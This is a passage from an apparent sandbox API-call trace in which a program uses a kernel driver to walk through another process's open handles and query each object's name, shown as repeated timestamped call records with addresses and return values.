ApcState=0xfffff880044355d0) [0121.947] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0010a0bd0, HandleInformation=0x0) returned 0x0 [0121.948] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.948] PsReleaseProcessExitSynchronization () returned 0x2 [0121.948] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.948] ObQueryNameString (in: Object=0xfffff8a0010a0bd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.948] ObfDereferenceObject (Object=0xfffff8a0010a0bd0) returned 0x2 [0121.948] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.948] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.948] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.948] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.948] PsAcquireProcessExitSynchronization () returned 0x0 [0121.948] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.948] ObReferenceObjectByHandle (in: Handle=0x290, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0121.948] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.948] PsReleaseProcessExitSynchronization () returned 0x2 [0121.948] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.948] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.948] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0121.948] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.948] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.948] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.948] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.948] PsAcquireProcessExitSynchronization () returned 0x0 [0121.948] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.948] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0121.948] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.948] PsReleaseProcessExitSynchronization () returned 0x2 [0121.948] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.948] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.949] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0121.949] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.949] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.949] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0121.949] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.949] PsAcquireProcessExitSynchronization () returned 0x0 [0121.949] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.949] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003215bb0, HandleInformation=0x0) returned 0x0 [0121.949] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.949] PsReleaseProcessExitSynchronization () returned 0x2 [0121.949] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.949] ObQueryNameString (in: Object=0xfffffa8003215bb0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.949] ObfDereferenceObject (Object=0xfffffa8003215bb0) returned 0x1 [0121.949] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.949] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.949] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0121.949] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.949] PsAcquireProcessExitSynchronization () returned 0x0 [0121.949] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.949] ObReferenceObjectByHandle (in: Handle=0x394, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80032152f0, HandleInformation=0x0) returned 0x0 [0121.949] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.949] PsReleaseProcessExitSynchronization () returned 0x2 [0121.949] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.949] ObQueryNameString (in: Object=0xfffffa80032152f0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.949] ObfDereferenceObject (Object=0xfffffa80032152f0) returned 0x1 [0121.949] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.949] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.949] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0121.949] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.949] PsAcquireProcessExitSynchronization () returned 0x0 [0121.950] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.950] ObReferenceObjectByHandle (in: Handle=0x448, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003231380, HandleInformation=0x0) returned 0x0 [0121.950] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.950] PsReleaseProcessExitSynchronization () returned 0x2 [0121.950] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.950] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f1044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f1044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.950] ObfDereferenceObject (Object=0xfffffa8003231380) returned 0x12 [0121.950] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.950] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.950] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0121.950] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.950] PsAcquireProcessExitSynchronization () returned 0x0 [0121.950] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.950] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f6b070, HandleInformation=0x0) returned 0x0 [0121.950] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.950] PsReleaseProcessExitSynchronization () returned 0x2 [0121.950] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.950] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002101044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8002101044, ReturnLength=0xfffff88004435508) returned 0x0 [0121.950] ObfDereferenceObject (Object=0xfffffa8002f6b070) returned 0x1 [0121.950] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.950] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.950] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0121.950] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.950] PsAcquireProcessExitSynchronization () returned 0x0 [0121.950] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.950] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f6bbc0, HandleInformation=0x0) returned 0x0 [0121.950] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.950] PsReleaseProcessExitSynchronization () returned 0x2 [0121.950] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.950] ObQueryNameString (in: Object=0xfffffa8002f6bbc0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.951] ObfDereferenceObject (Object=0xfffffa8002f6bbc0) returned 0x1 [0121.951] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.951] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.951] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0121.951] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.951] PsAcquireProcessExitSynchronization () returned 0x0 [0121.951] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.951] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f6bf20, HandleInformation=0x0) returned 0x0 [0121.951] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.951] PsReleaseProcessExitSynchronization () returned 0x2 [0121.951] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.951] ObQueryNameString (in: Object=0xfffffa8002f6bf20, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0121.951] ObfDereferenceObject (Object=0xfffffa8002f6bf20) returned 0x2 [0121.951] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.951] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.951] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0121.951] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.951] PsAcquireProcessExitSynchronization () returned 0x0 [0121.951] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.951] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f6b920, HandleInformation=0x0) returned 0x0 [0121.951] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.951] PsReleaseProcessExitSynchronization () returned 0x2 [0121.951] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.951] ObQueryNameString (in: Object=0xfffffa8002f6b920, ObjectNameInfo=0xfffffa800341c7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800341c7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0121.951] ObfDereferenceObject (Object=0xfffffa8002f6b920) returned 0x2 [0121.951] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.952] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.952] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0121.952] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.952] PsAcquireProcessExitSynchronization () returned 0x0 [0121.952] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.952] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f6b7d0, HandleInformation=0x0) returned 0x0 [0121.952] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.952] PsReleaseProcessExitSynchronization () returned 0x2 [0121.952] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.952] ObQueryNameString (in: Object=0xfffffa8002f6b7d0, ObjectNameInfo=0xfffffa80037a3644, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a3644, ReturnLength=0xfffff88004435550) returned 0x0 [0121.952] ObfDereferenceObject (Object=0xfffffa8002f6b7d0) returned 0x1 [0121.952] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.952] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.952] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.952] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.952] PsAcquireProcessExitSynchronization () returned 0x0 [0121.952] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.952] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800323d070, HandleInformation=0x0) returned 0x0 [0121.952] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.952] PsReleaseProcessExitSynchronization () returned 0x2 [0121.952] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.952] ObQueryNameString (in: Object=0xfffffa800323d070, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.952] ObfDereferenceObject (Object=0xfffffa800323d070) returned 0x2 [0121.952] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.952] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.952] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.952] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.952] PsAcquireProcessExitSynchronization () returned 0x0 [0121.952] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.952] ObReferenceObjectByHandle (in: Handle=0x490, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800323dc80, HandleInformation=0x0) returned 0x0 [0121.952] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.953] PsReleaseProcessExitSynchronization () returned 0x2 [0121.953] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.953] ObQueryNameString (in: Object=0xfffffa800323dc80, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.953] ObfDereferenceObject (Object=0xfffffa800323dc80) returned 0x2 [0121.953] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.953] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.953] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0121.953] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.953] PsAcquireProcessExitSynchronization () returned 0x0 [0121.953] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.953] ObReferenceObjectByHandle (in: Handle=0x498, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800323ecc0, HandleInformation=0x0) returned 0x0 [0121.953] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.953] PsReleaseProcessExitSynchronization () returned 0x2 [0121.953] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.953] ObQueryNameString (in: Object=0xfffffa800323ecc0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.953] ObfDereferenceObject (Object=0xfffffa800323ecc0) returned 0x2 [0121.953] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.953] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.953] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.953] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.953] PsAcquireProcessExitSynchronization () returned 0x0 [0121.953] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.953] ObReferenceObjectByHandle (in: Handle=0x4a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002f6ea80, HandleInformation=0x0) returned 0x0 [0121.953] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.953] PsReleaseProcessExitSynchronization () returned 0x2 [0121.953] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.953] ObQueryNameString (in: Object=0xfffffa8002f6ea80, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.953] ObfDereferenceObject (Object=0xfffffa8002f6ea80) returned 0x2 [0121.953] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.953] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.953] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0121.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0121.954] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.954] PsAcquireProcessExitSynchronization () returned 0x0 [0121.954] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0121.954] ObReferenceObjectByHandle (in: Handle=0x4a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003247a30, HandleInformation=0x0) returned 0x0 [0121.954] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.954] PsReleaseProcessExitSynchronization () returned 0x2 [0121.954] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0121.954] ObQueryNameString (in: Object=0xfffffa8003247a30, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.954] ObfDereferenceObject (Object=0xfffffa8003247a30) returned 0x2 [0121.954] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.954] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0121.954] RtlAllocateHeap (HeapHandle=0x240000, 